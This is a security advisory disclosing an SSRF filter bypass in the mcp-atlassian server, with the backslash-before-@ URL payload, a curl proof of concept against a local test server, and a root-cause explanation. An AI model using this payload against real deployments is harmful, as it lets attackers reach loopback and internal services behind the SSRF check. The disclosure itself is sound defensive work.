GHSA-hgcf-4mq8-5266: SSRF

Environment

- Project: sooperset/mcp-atlassian - Affected function: validateurlforssrf() - Affected path: header-based Jira/Confluence URL authentication flow - Tested endpoint: POST /mcp - Tested version: 2.14.5

Description

The SSRF protection in validateurlforssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

python parsed = urlparse(url) hostname = parsed.hostname ... iperror = checkipaddress(hostname) ... dnserror = checkdnsresolution(hostname)

Payload:

text http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

text www.baidu.com

Therefore, validateurlforssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:

text http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

bash python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: <SESSIONID>' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: <SESSIONID>' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jiragetissue","arguments":{"issuekey":"TEST-1"}}}'

Observed response:

<img width="1505" height="442" alt="image" src="https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e" />

The local HTTP server also receives the request, confirming SSRF.

<img width="891" height="131" alt="image" src="https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6" />

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

- validateurlforssrf() uses urllib.parse.urlparse() and validates parsed.hostname. - For the payload, parsed.hostname is www.baidu.com. - The actual request is sent by the Atlassian client through requests.Session. - requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.